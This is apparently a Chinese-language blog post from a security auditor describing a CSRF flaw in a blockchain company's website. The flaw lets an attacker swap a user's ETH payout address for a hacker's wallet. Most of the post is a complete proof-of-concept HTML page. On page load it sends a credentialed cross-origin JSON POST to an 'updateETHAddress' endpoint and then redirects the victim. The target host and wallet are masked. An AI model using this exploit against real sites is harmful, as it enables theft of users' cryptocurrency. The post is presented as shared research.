前面幫某區塊鏈公司的官網(市值top100)做安全審計,存在很多問題,其中包括了一個價值的跨站請求僞造CSRF漏洞,可以把打幣地址篡改爲黑客的錢包地址,從技術來說,有一個比較有價值的點,該網站用ajax提交數據,是application/json格式,很多WEB安全工具都沒掃出來(編碼格式不對導致錯誤返回被漏報了),自己寫了一個POC完美驗證這個問題。下面把POC代碼發出來,方面大家研究
<!DOCTYPE html>
<html>
<head>
<script src="jquery.js"></script>
<script>
var submit = function(){
jQuery.ajax({
type: "post",
url: 'https://xxxxxxxxx/*******/updateETHAddress',
async: false,
xhrFields: {
withCredentials: true
},
crossDomain: true,
data: JSON.stringify({
ethWalletAddress: "bPNin7*****************567Jn******",
}),
contentType: "application/json",
dataType: "json",
})
window.location.href='https://xxxxxxxx/index.html';
};
</script>
</head>
<body onload="submit()">
</body>
</html>